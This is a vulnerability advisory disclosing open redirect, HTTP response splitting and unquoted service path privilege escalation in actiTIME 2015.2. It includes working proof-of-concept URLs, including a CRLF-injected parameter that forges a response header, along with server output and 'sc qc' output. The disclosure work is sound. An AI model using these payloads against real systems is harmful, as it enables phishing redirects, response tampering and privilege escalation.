82 lines
No EOL
2.3 KiB
Text
82 lines
No EOL
2.3 KiB
Text
|
|
actiTIME 2015.2 Multiple Vulnerabilities
|
|
|
|
|
|
Vendor: Actimind, Inc.
|
|
Product web page: http://www.actitime.com
|
|
Affected version: 2015.2 (Small Team Edition)
|
|
|
|
Summary: actiTIME is a web timesheet software. It allows you to
|
|
enter time spent on different work assignments, register time offs
|
|
and sick leaves, and then create detailed reports covering almost
|
|
any management or accounting needs.
|
|
|
|
Desc: The application suffers from multiple security vulnerabilities
|
|
including: Open Redirection, HTTP Response Splitting and Unquoted
|
|
Service Path Elevation Of Privilege.
|
|
|
|
Tested on: OS/Platform: Windows 7 6.1 for x86
|
|
Servlet Container: Jetty/5.1.4
|
|
Servlet API Version: 2.4
|
|
Java: 1.7.0_76-b13
|
|
Database: MySQL 5.1.72-community-log
|
|
Driver: MySQL-AB JDBC Driver mysql-connector-java-5.1.13
|
|
Patch level: 28.0
|
|
|
|
|
|
Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
|
|
@zeroscience
|
|
|
|
|
|
Advisory ID: ZSL-2015-5273
|
|
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5273.php
|
|
|
|
|
|
13.10.2015
|
|
|
|
--
|
|
|
|
|
|
|
|
1. Open Redirect
|
|
-----------------
|
|
|
|
http://localhost/administration/settings.do?redirectUrl=http://zeroscience.mk&submitted=1
|
|
|
|
|
|
2. HTTP Response Splitting
|
|
---------------------------
|
|
|
|
http://localhost/administration/settings.do?redirectUrl=%0a%0dServer%3a%20Waddup%2f2%2e0&submitted=1
|
|
|
|
Response:
|
|
|
|
HTTP/1.1 302 Moved Temporarily
|
|
Date: Wed, 14 Oct 2015 09:32:05 GMT
|
|
Server: Jetty/5.1.4 (Windows 7/6.1 x86 java/1.7.0_76
|
|
Content-Type: text/html;charset=UTF-8
|
|
Cache-Control: no-store, no-cache
|
|
Pragma: no-cache
|
|
Expires: Tue, 09 Sep 2014 09:32:05 GMT
|
|
X-UA-Compatible: IE=Edge
|
|
Location: http://localhost/administration/
|
|
Server: Waddup/2.0
|
|
Content-Length: 0
|
|
|
|
|
|
3. Unquoted Service Path Elevation Of Privilege
|
|
------------------------------------------------
|
|
|
|
C:\Users\joxy>sc qc actiTIME
|
|
[SC] QueryServiceConfig SUCCESS
|
|
|
|
SERVICE_NAME: actiTIME
|
|
TYPE : 10 WIN32_OWN_PROCESS
|
|
START_TYPE : 2 AUTO_START
|
|
ERROR_CONTROL : 1 NORMAL
|
|
BINARY_PATH_NAME : C:\Program Files (x86)\actiTIME\actitime_access.exe startAsService
|
|
LOAD_ORDER_GROUP :
|
|
TAG : 0
|
|
DISPLAY_NAME : actiTIME Server
|
|
DEPENDENCIES : actiTIME MySQL
|
|
SERVICE_START_NAME : LocalSystem |